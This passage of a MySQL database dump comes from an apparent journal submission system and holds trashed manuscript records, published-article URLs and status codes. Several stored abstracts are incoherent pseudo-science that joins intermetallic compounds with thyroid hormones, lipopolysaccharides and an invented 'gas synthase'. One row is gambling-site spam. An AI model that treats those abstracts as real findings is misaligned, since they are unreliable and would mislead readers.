acidosis',5155,'','2023-10-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-11-02',1),(14224,14288,975,0,'','An outline on Brain Designing','',3,0,'','','',59119,'','2023-10-31',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-11-02',1),(14236,14294,667,0,'','The Transformative Power of Psychotherapy: Easing the Burden of Phobias','',12,0,'','','',59124,'','2023-11-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-11-02',1),(14237,14295,667,0,'','Music Therapy as an Additional Means of Psychotherapy','',12,0,'','','',59124,'','2023-11-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-11-02',1),(14243,14288,975,0,'','\"Plant Genetics: Unraveling the Secrets of Green Life\"','',3,0,'','','',59127,'','2023-11-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-11-03',1),(14344,14401,45,0,'','Analytical Investigation of the Factors Affecting the Supplier-Induced Demand in Healthcare: A Case Study of CT Scanning Department in Iran','',14,1,'Recent Innovations in Health Science','','',4076,'','2023-12-06',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-12-06',1),(14360,14418,639,0,'','Genetic diversity and population structure of African catfish (Clarias gariepinus) species: implications for selection and sustainable genetic improvement. A review','',15,0,'','The African catfish, or C. gariepinus, is the second-most widely cultured fish species in Sub-Saharan and most Asian nations. In order to interpret, comprehend, and manage populations and individuals, genetic diversity and population structure, as well as their quantification, are crucial. Due to its rapid growth rate, capacity to adapt to a variety of culture conditions, and high fertility, African catfish, C. gariepinus was first genetically improved in the 1950s and then adopted as the best catfish for African aquaculture in the middle of the 1970s. In African catfish genetics and breeding studies, a variety of molecular markers,  including: allozyme marker, mtDNA marker, SNPs marker, RAPD marker, Microsatellite marker and SDS-PAGE marker  have been used to assess genetic similarity and divergences for insuring genetic improvement and selective breeding program of C. garipinus fish species. Genetic diversity assessment and population structure assessment are also used to quantify the genetic differentiations within and among populations of C. gariepinus fish species. These are important to formulate genetic conservation and management strategies, to sustainably manage economically important aquaculture fish species like C. gariepinus. Genetic improvement and marker assisted selective breeding programs are essential to have extensive knowledge of economically significant strains.','African catfish, genetic diversity, population structure, genetic improvement and molecular marker',1776,'','2023-12-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2023-12-13',1),(14366,14422,971,0,'','Aaj me Upar Aasma Niche','',14,1,'Aaj me Upar Aasma Niche','You will be my forever','a, b, c',5347,'','2023-12-13',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2023-12-16',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2023-12-19',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2023-12-19',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2023-12-19',1),(14402,14451,73,0,'','Commentary on Importance of Randomized Controlled Trials','',3,1,'Current Neurology and Neuroscience Report','','',327,'','2024-01-04',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-01-04',1),(14338,14394,996,0,'','David','',24,0,'David','David','David',59143,'','2023-12-03',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-01-05',1),(14388,14437,996,0,'','asdx','',1,0,'','asd','asd',3649,'','2023-12-31',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2024-01-05',1),(14387,14437,996,0,'','asd','',24,0,'asd','asd','asd',5068,'','2023-12-31',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2024-01-05',1),(14406,14455,277,0,'','Advancements in Veterinary Medicine: Revolutionizing Animal Healthcare','',19,0,'','','',5022,'','2024-01-04',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-01-12',1),(14513,14559,996,0,'','PKV','',24,1,'PKV','PKV','',59168,'','2024-01-21',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-01-22',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2024-01-22',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2024-01-22',1),(14516,14560,996,0,'','Semut','',3,1,'Semut','Semut','Semut',59159,'','2024-01-21',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2024-01-22',1),(14515,14560,996,0,'','Ilmuwan Hitung Jumlah Semut di Bumi, Hasilnya Mencengangkan','',5,1,'Semut','Semut','iya',59159,'','2024-01-21',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2024-01-22',1),(14514,14560,996,0,'','Ilmuwan Hitung Jumlah Semut di Bumi, Hasilnya Mencengangkan!','',14,1,'Semut','Populasi manusia di dunia diperkirakan bakal melampaui 8 miliar dalam beberapa bulan mendatang. Dibandingkan dengan semut, jumlah ini tak ada apa-apanya.','Semut',3649,'','2024-01-21',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2024-01-22',1),(14519,14562,996,0,'','Gojek88 | Agen Judi Slot Online Gojek 88 Resmi Terlengkap','',24,1,'GOJEK88','Gojek88 | Agen Judi Slot Online Gojek 88 Resmi Terlengkap\r\n','Gojek88 | Agen Judi Slot Online Gojek 88 Resmi Terlengkap\r\n',59192,'','2024-01-22',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,'','',0,0,0,0,NULL,'2024-01-22',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2024-01-29',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2024-01-29',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2024-01-29',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2024-01-29',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2024-01-29',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2024-01-29',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2024-01-29',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2024-01-29',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2024-01-29',1),(0,0,0,0,'','','',0,0,'','','',0,'','0000-00-00',NULL,'',0,0,'0000-00-00','',0,0,'','',0,'','',0,0,0,0,NULL,'2024-01-29',1),(14390,14439,959,0,'','Intermetallic Compounds: Exploring the Intricacies of Thyroid Hormones','',12,0,'','Intermetallic compounds represent a fascinating realm in materials science, where unique combinations of different metallic elements form compounds with distinctive properties. In a similar vein, the endocrine system harbors an intricate interplay of hormones, and within this system, thyroid hormones play a pivotal role. This exploration delves into the intermetallic compounds of the endocrine world, specifically focusing on the fascinating realm of hormonal thyroid','',59116,'','2024-01-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-02-08',1),(14396,14445,959,0,'','Intermetallic Compounds in Tricarboxylic Acid Catalysis: A Comprehensive Review','',12,0,'','Tricarboxylic acids, characterized by the presence of three carboxylic acid groups in their molecular structure, have been extensively studied for their catalytic potential. The incorporation of intermetallic compounds into tricarboxylic acid-based catalysts has emerged as a promising strategy to enhance catalytic activity, selectivity, and stability. This review aims to provide a comprehensive overview of the current state of research on intermetallic compounds in tricarboxylic acid catalysis Intermetallic compounds play a crucial role in catalyzing various chemical reactions, and their significance in tricarboxylic acid catalysis has gained considerable attention in recent years. Tricarboxylic acids are organic compounds with three carboxylic acid functional groups, and their unique structural features make them intriguing candidates for catalytic applications. This review explores the diverse roles of intermetallic compounds in tricarboxylic acid catalysis, highlighting their synthesis, characterization, and applications in different chemical processes','',5428,'','2024-01-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-02-08',1),(14395,14444,959,0,'','Inter-Metallic Compounds and Their Implications inLipopolysaccharide Research','',12,0,'','Inter-metallic compounds represent a fascinating class of materials characterized by a unique combination of metallic elements with distinct properties. These compounds exhibit diverse structures and functionalities, making them valuable in various applications, including catalysis, electronics, and materials science. In recent years, researchers have turned their attention to the intersection of inter-metallic compounds and biological molecules, such as lipopolysaccharides Inter-metallic compounds, a class of materials with unique properties resulting from the combination of different metallic elements, have gained significant attention in various scientific disciplines. This article explores the intersection of inter-metallic compounds and lipopolysaccharides (LPS), which are complex molecules found in the outer membrane of Gram-negative bacteria. Understanding the interaction between inter-metallic compounds and LPS has implications for diverse fields, ranging from materials science to medical research. This comprehensive review delves into the structure, properties, and potential applications of inter-metallic compounds concerning LPS, shedding light on their role in the development of new materials and therapeutic strategies','',5428,'','2024-01-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-02-08',1),(14394,14443,959,0,'','Inducible Gas Synthase: Exploring the Fascinating World of Inter-metallic Compounds in Gas Sensing Applications','',12,0,'','Gas sensing technology plays a pivotal role in various industries, from ensuring workplace safety to monitoring environmental pollution. Inducible gas synthase represents a novel paradigm in this field, offering a dynamic and responsive approach to gas detection. At the heart of IGS lies the utilization of inter-metallic compounds, a class of materials known for their unique properties and diverse applications Inducible gas synthase (IGS) is a cutting-edge technology that has gained significant attention in the field of gas sensing. This innovative approach involves the use of inter-metallic compounds to induce the synthesis of gases, opening up new possibilities for environmental monitoring, industrial safety, and healthcare applications. In this article, we will delve into the intricate world of IGS, exploring its principles, applications, and the role of inter-metallic compounds in shaping its functionality','',5428,'','2024-01-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-02-08',1),(14393,14442,959,0,'','Inter-Metallic Compounds: A Comprehensive Exploration into Their Structural Properties and Application','',12,0,'','Inter-metallic compounds represent a fascinating realm within the domain of materials science, characterized by unique structures and promising applications across various industries. This article delves into the intricate world of inter-metallic compounds, providing a comprehensive understanding of their characteristics, formation mechanisms, and potential applications','',5428,'','2024-01-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-02-08',1),(14392,14441,959,0,'','Dynamic Risk Stratification in Inter-Metallic Systems','',12,0,'','Inter-metallic compounds play a crucial role in various industrial applications, offering unique mechanical, thermal, and electrical properties. However, these systems are not without challenges, as they are susceptible to dynamic changes that can impact their structural integrity and performance. Dynamic risk stratification emerges as a critical concept in understanding and managing the risks associated with inter-metallic systems. This article explores the dynamic risk factors in inter-metallic compounds, the importance of risk stratification, and strategies for mitigating these risks','',5428,'','2024-01-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-02-08',1),(14397,14446,959,0,'','Intermetallic compounds formation','',12,0,'','Intermetallic compounds play a crucial role in various industries, particularly in the field of metallurgy and materials science. These compounds, formed by the combination of two or more different metals, exhibit unique properties that make them essential in numerous applications. One fascinating aspect of intermetallic compounds is their potential contribution to hypoxic growth, a concept gaining attention in the field of biology and medicine','',5428,'','2024-01-02',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-02-08',1),(14416,14464,959,0,'','Enhancing Gastric Cancer Therapy: Nanoparticle Insights from In Vitro Studies','',14,0,'','Cancer, particularly gastric cancer, poses a significant global health challenge, ranking among the leading causes of death worldwide. Current therapies, including surgery, chemotherapy, and radiotherapy, exhibit varied effectiveness across different cancer stages and often lead to chemo resistance and adverse effects. Nano medicine, owing to its unique nanoscale properties, presents promising opportunities in cancer detection and treatment.\r\nThis study investigates the potential therapeutic implications of nanoparticles, specifically gold nanoparticles (GNPs), in gastric cancer therapy. The research elucidates the cytotoxic effects of chemotherapy drug 5-fluorouracil (5FU) and GNPs on human gastric cancer cell line MLN-45 cells. Initial experiments revealed optimal incubation times of 72 hours for 5FU and 24 hours for GNPs, achieving significant reductions in cell viability. A critical finding was the enhanced cytotoxicity observed when combining chemotherapy with GNPs and laser irradiation. Notably, lower concentrations of chemotherapeutic agents yielded higher cell destruction when combined with GNPs, potentially reducing adverse drug effects. Furthermore, the study sheds light on the challenges and opportunities associated with nanomedicine. While GNPs exhibit promise in cancer therapy, there remain uncertainties regarding their clinical applicability and biological interactions. Understanding the equilibrium between exposure duration and toxicity is crucial in optimizing therapeutic strategies involving nanoparticles.\r\nIn essence, this study emphasizes the capacity of nanotechnology to enhance conventional cancer treatments and emphasizes the necessity for continued exploration to maximize therapeutic benefits while minimizing undesired outcomes. These results set the stage for future inquiries into the practical application of nanoparticles in treating gastric cancer.\r\n','Gastric cancer, Gold nanoparticle, MKN-45 gastric cancer cell line, 5-fluorouracil',5428,'','2024-01-06',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-02-08',1),(14578,14597,959,0,'','Phenotypic Plasticity: The Adaptive Response of Organisms to Environmental Variation','',12,0,'','','',5428,'','2024-02-15',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-02-15',1),(14573,14595,959,0,'','Pneumonia: Unraveling the Enigma of a Silent Invader','',12,0,'','','',5428,'','2024-02-15',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-02-15',1),(14596,14618,251,0,'','Pioneering Solutions: Innovations Shaping the Future','',3,0,'','','',59171,'','2024-03-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-03-02',1),(14598,14620,251,0,'','Unveiling the Global Scale: Understanding Its Impact and Implications','',12,0,'','','',59213,'','2024-03-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-03-02',1),(14601,14623,251,0,'','Unraveling the Genetic Code: A Comprehensive Exploration of Genome Sequencing','',12,0,'','','',59214,'','2024-03-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-03-02',1),(14608,14630,975,0,'','Proteogenomics: Bridging the Gap between Genomics and Proteomics','',3,0,'','','',59219,'','2024-03-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-03-02',1),(14607,14629,975,0,'','Navigating the Ethical Frontiers: An In-Depth Exploration of Bioethics','',3,0,'','','',5410,'','2024-03-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-03-02',1),(14606,14628,975,0,'','Decoding the Complexities of Proteomics: Illuminating the Cellular Symphony','',3,0,'','','',5410,'','2024-03-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-03-02',1),(14735,14743,91,0,'','THE HYPHENATED SEPARATION TECHNOLOGY ','',15,0,'','Hyphenated techniques: the basics the term “hyphenation” was coined by Thomas Hirschfield in 1980. Hyphenated techniques couple two (or more) methods to solve more complex analytical problems. Specifically, it refers to the combination of a separation technique with spectroscopic detection technology. Traditional analytical approaches, including high performance liquid chromatography (HPLC), gas chromatography (GC), and ultraviolet (UV) detection, cannot effectively address the emerging problems of species specificity and sensitivity analysis. A modern analytical technique called transferring is based on the traditional use of specific detection of molecules or elements in electrophoresis or chromatography. Currently, the most common methods for the determination of trace elements include a combination of separation methods and more sensitive detection methods. Previously, this binding method was an additional combination of specialized offline sample preparation, separation and detection methods. Scripting technology is currently being developed by combining separation technology (chromatography) and spectroscopic detection technology online. The method written combines chromatographic and spectral methods to use both. Chromatography allows you to obtain pure or almost pure fractions of chemical components in a mixture. Spectroscopy uses standard spectra or libraries to obtain selective information for identification. This technology offers faster analysis times, higher automation, better throughput, better reproducibility, and less pollution. Since it is a closed system, it provides better binding selectivity and more information. The tremendous progress in written analytical methods over the past two decades has greatly expanded their application in the analysis of biomaterials, especially natural products. This article discusses the latest advances in various technologies such as GC-MS, LC-MS, LC-NMR, and CE-MS. As part of preliminary analysis of raw extracts or fractions from various sources, online isolation and discovery of natural substances, and chemical taxonomic studies. ','Hyphenated technique, GC-MS, LC-MS, LC-NMR, CE-MS , Natural Product, Conclusion.',4616,'','2024-04-06',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-04-06',1),(14739,14748,639,0,'','STUDY ON PHYSICAL PARAMETERS AND CHEMICAL PARAMETERS OF SEWAGE AND AQUACULTURE WASTE WATER IN SUBJECTIVE OF AQUATIC FERN (AZOLLA PINNATA)','',14,0,'','STUDY ON PHYSICAL PARAMETERS AND CHEMICAL PARAMETERS\r\nOF SEWAGE AND AQUACULTURE WASTE WATER IN SUBJECTIVE OF\r\nAQUATIC FERN (AZOLLA PINNATA)','Azolla pinnata, Sewage effluent, Aquaculture effluent, Phytoremediation',5411,'','2024-04-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-04-12',1),(14742,14750,45,0,'','“Adenine nucleotide binding sites have been found to have a high degree of affinity when adenosine Penta phosphate is used as a strong cardiac ryanodine receptor activator.”','',15,0,'pharmacology','Context and goal: Cells generally contain small amounts of adenosine polyphosphates, but times of cellular stress can cause concentrations to rise significantly. The purpose of this work was to examine how the gating of sheep cardiac ryanodine receptors (RyR2) was affected by adenosine Penta phosphate (Ap5A) and its oxidized equivalent, oAp5A. Experimental strategy: Under voltage-clamp circumstances, the function of the RyR2 channel was observed subsequent to its inclusion into planar bilayers. Important outcomes: A notable \"hump\" or plateau was observed at the base of the dose-response curve to Ap5A at 10?µmol·L?1. A notable rise in open probability (Po) was seen in the concentration range of 100?pmol·L?1–10?µmol·L?1, with a plateau at around 0.2. At >10?µmol·L?1 Ap5A, high Po values were noted, and Po values almost equal to 1 could be attained While GTP did not activate at any dosage, nanomolar doses of ATP and adenosine likewise showed a hump at the base of the dose-response curves, suggesting a shared, high-affinity binding site on RyR2 for adenine-based molecules. The oxidized counterpart, oAp5A, could fully open the channel with an EC50 of 16?µmol·L?1 (Ap5A EC50 = 140?µmol·L?1), but it did not appreciably activate RyR2 via the high-affinity binding site. According to perfusion tests, oAp5A and Ap5A slowly separate from RyR2 binding sites. Conclusions and implications: Ap5A compounds may be able to function as physiological regulators of RyR2, especially in situations of cellular stress, because of their capacity to enhance Po even in the presence of ATP and their gradual detachment from the channel.',': ryanodine receptor; sarcoplasmic reticulum; ATP; Di adenosine polyphosphates; Ca2+-release; cardiac',5405,'','2024-04-14',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,'','',0,0,0,0,NULL,'2024-04-15',1);
/*!40000 ALTER TABLE `manuscripts_trash` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `move_published`
--

DROP TABLE IF EXISTS `move_published`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `move_published` (
  `mp_id` int NOT NULL AUTO_INCREMENT,
  `m_id` int NOT NULL,
  `j_id` int NOT NULL,
  `published_jid` int NOT NULL,
  `art_url` longtext NOT NULL,
  `vol_issue` varchar(120) NOT NULL,
  `remarks` longtext,
  `date` date NOT NULL,
  PRIMARY KEY (`mp_id`)
) ENGINE=InnoDB AUTO_INCREMENT=31 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `move_published`
--

LOCK TABLES `move_published` WRITE;
/*!40000 ALTER TABLE `move_published` DISABLE KEYS */;
INSERT INTO `move_published` VALUES (1,6555,663,663,'https://www.imedpub.com/articles/effectiveness-and-safety-of-physical-therapy-intervention-in-adult-dermatomyositis-a-case-report-and-review.pdf','Volume 05 Issue 02','','2021-03-15'),(2,5286,45,45,'https://www.hsj.gr/medicine/the-risk-on-musculoskeletal-system-and-psychosocial-functions-among-adolescents-with-problematic-internet-use-in-selected-','Volume 15, Issue 03','','2021-03-15'),(3,6685,865,865,'https://obstetrics.imedpub.com/comparison-between-two-automated-immunoassay-methods-for-tsh-architect-ci8200-versus-cobas-e411.pdf','7,2','','2021-03-15'),(4,6098,967,967,'https://www.imedpub.com/articles/the-comparison-between-gumbel-and-exponentiated-gumbel-distributions-and-their-applications-in-hydrological-process.p','09,03','','2021-03-15'),(5,5301,47,47,'https://diversityhealthcare.imedpub.com/the-covid19-pandemic-an-american-health-divide.pdf','Volume 18, Issue 2','','2021-03-15'),(6,4950,763,763,'https://www.imedpub.com/articles/reproducibility-of-methods-for-determining-the-knee-axes-of-rotation.pdf','Volume 5, Issue 1','','2021-03-15'),(7,6544,865,865,'https://obstetrics.imedpub.com/profiling-and-utcome-of-patients-with-pregnancy-and-abnormally-nvasiveplacenta.pdf','Volume 7, Issue 2','','2021-03-15'),(8,5280,704,704,'https://cheminformatics.imedpub.com/theme-a-real-solution-to-all-problems-role-of-catalysis-in-sustainable-chemistry.pdf','Volume 7, Issue 1','','2021-03-15'),(9,5911,478,478,'https://pediatric-cardiology.imedpub.com/hypertension.pdf','Volume 5, Issue 2','','2021-03-15'),(10,4102,478,478,'https://pediatric-cardiology.imedpub.com/involvement-of-right-ventricle-function-in-children-with-dilated-cardiomyopathy.pdf','Volume 5, Issue 2','','2021-03-15'),(11,7170,529,529,'https://www.imedpub.com/articles/review-article-achondroplasia-in-a-8-year-old-male-child-report-of-a-rare-case.pdf','Volume8, Issue2','','2021-03-15'),(12,6480,102,102,'https://www.imedpub.com/articles/multivariate-analysis-in-some-metric-traits-of-ethiopian-durum-wheat-triticum-turgidium-l-vardurum-landraces.pdf','Volume 11, Issue 3','','2021-03-15'),(13,5573,692,692,'https://behaviouralscience.imedpub.com/sadism-in-sadistic-and-narcissistic-personality-disorders.pdf','Volume 7, Issue 1','','2021-03-15'),(14,4938,763,763,'https://www.imedpub.com/articles/postural-alternations-after-anterior-cruciate-ligament-surgery-assessment-and-rehabilitation.pdf','Volume 5, Issue 1','','2021-03-15'),(15,6576,102,102,'https://www.imedpub.com/articles/evaluation-the-effects-of-climate-change-on-irans-environment.pdf','Volume 11, Issue 3','','2021-03-15'),(16,6969,170,170,'https://criticalcare.imedpub.com/echocardiography-n-of-the-of-midazolam-on-passive-leg-raising-test-in-ill-wn-in-the-intensive-care-unit-diagnosed-wit','Volume 7, Issue 3','','2021-03-15'),(17,6546,102,102,'https://www.imedpub.com/articles/genetic-variability-heritability-and-genetic-advance-in-ethiopian-mustard-brassica-carinata-a-braun-accesions-for-nut','Volume 11, Issue 3','','2021-03-15'),(18,5206,45,45,'https://www.hsj.gr/medicine/demanding-of-lassa-fever-reducing-its-risk-as-an-infectious-disease.pdf','Volume 15, Issue 3','','2021-03-15'),(19,6903,911,911,'https://www.imedpub.com/articles/the-subjective-birthing-woman.pdf','Volume 5, Issue 2','','2021-03-15'),(20,6054,95,95,'https://gynecology-obstetrics.imedpub.com/chronic-pelvic-pain-caused-by-herlynwernerwunderlich-syndrome-casereport-and-discussion.pdf','Volume 7, Issue 3','','2021-03-15'),(21,5652,1024,1024,'https://digestive-diseases.imedpub.com/upper-limit-of-normal-serum-alanine-transaminase-alt-and-correlation-with-gender-and-bmi.pdf','Volume 07, Issue 01','','2021-03-15'),(22,5165,45,45,'https://www.hsj.gr/medicine/transfusion-medicine-department-services-in-one-of-the-tertiary-level.pdf','Volume 15, Issue 3','','2021-03-15'),(23,5759,45,45,'https://www.hsj.gr/medicine/transfusion-medicine-department-services-in-one-of-the-tertiary-level.pdf','Volume 15, Issue 3','','2021-03-15'),(24,5812,989,989,'https://www.imedpub.com/articles/reorganization-after-stroke-a-short-report.pdf','Volume 05, Issue 01','','2021-03-15'),(25,7011,529,529,'https://www.imedpub.com/articles/neat1mir1403pmapk1-mediates-the-viability-and-survival-of-coronaryendothelial-cells-and-affects-coronary-atherosclero','Volume 8 Issue 2','','2021-03-15'),(26,840,102,102,'https://www.imedpub.com/articles/elucidation-of-musa-acuminata-cv-berangan-root-infection-by-foc-tropical-race-4-by-rna-sequencing-and-analysis.pdf','Volume 11 Issue 3','','2021-03-16'),(27,6034,973,973,'https://reproductive-endocrinology-infertility.imedpub.com/endometriosis-a-review.pdf','Volume 6 Issue 1','','2021-03-16'),(28,3019,102,102,'https://www.imedpub.com/articles/impacts-of-different-vegetation-types-on-soil-properties-in-hubei-china.pdf','Volume11, Issue 3','published','2021-03-22'),(29,6735,521,521,'https://hospital-medical-management.imedpub.com/exploring-evidence-a-challenge-before-nurses-of-today.pdf','Volume7, Issue 3','PUBLISHED','2021-03-22'),(30,5402,967,967,'https://www.imedpub.com/articles/the-agribot-a-farm-robot-with-various-function.pdf','Volume 9 issue 2','','2021-03-22');
/*!40000 ALTER TABLE `move_published` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `ms_status`
--

DROP TABLE IF EXISTS `ms_status`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `ms_status` (
  `ms_id` int NOT NULL AUTO_INCREMENT,
  `m_status` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `c_code` varchar(20) NOT NULL,
  `title` varchar(50) DEFAULT NULL,
  `img_src` varchar(50) DEFAULT NULL,
  PRIMARY KEY (`ms_id`)
) ENGINE=InnoDB AUTO_INCREMENT=20 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `ms_status`
--

LOCK TABLES `ms_status` WRITE;
/*!40000 ALTER TABLE `ms_status` DISABLE KEYS */;
INSERT INTO `ms_status` VALUES (1,'Rejected Articles','red','Article has been rejected','status_reject.png'),(2,'Accepted Articles','green','Article has been Accepted','status_accept.png'),(3,'Ready to Publish','#009999','Article is ready to Publish','status_publish.png'),(4,'Withdrawn','#666','Article has been Withdrawn','status_withdrawn.png'),(5,'Submitted','#000','Article has been Submitted','status_submited.png'),(6,'Revision submitted','#000','Article has been Revised','status_revised.png'),(7,'Revise (Notify Author)','#000','Article has been Revised','status_revised.png'),(8,'With Editor','#00CCCC','Article has been Revised','user_editor.png'),(9,'With Reviewer','#FF8080','Article has been Revised','user_reviewer.png'),(10,'Under Revision','orange',NULL,'user_author.png'),(11,'Notified Editor','#00CCCC',NULL,'user_editor.png'),(12,'Under Review','blue',NULL,'under-review.png'),(13,'Editor Decision Rejected','red','Article has been rejected by Editor','status_reject.png'),(14,'Editor Decision Accepted','green','Article has been Accepted by Editor','status_accept.png'),(15,'Editor Assigned','#00CCCC','New Article has been Assigned to Editor','user_editor.png'),(16,'Accepted','green','Article has been Accepted','status_accept.png'),(17,'Rejected','red','Article has been Rejected','status_reject.png'),(18,'Preqc Accepted','#009999','Article has been Accepted by Preqc','status_accept.png'),(19,'Already Published in our/other','green','Article already published in our publisher or othe','status_accept.png');
/*!40000 ALTER TABLE `ms_status` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `notifications`
--

DROP TABLE IF EXISTS `notifications`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `notifications` (
  `nf_id` int NOT NULL AUTO_INCREMENT,
  `mail_template` text,
  `nf_type` int NOT NULL,
  `nf_subject` varchar(100) NOT NULL,
  `nf_email` varchar(90) NOT NULL,
  `m_id` int NOT NULL,
  `nf_date` date NOT NULL,
  `publisher` int NOT NULL,
  PRIMARY KEY (`nf_id`)
) ENGINE=InnoDB AUTO_INCREMENT=4247 DEFAULT CHARSET=utf8mb3;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `notifications`
--

LOCK TABLES `notifications` WRITE;
/*!40000 ALTER TABLE `notifications` DISABLE KEYS */;
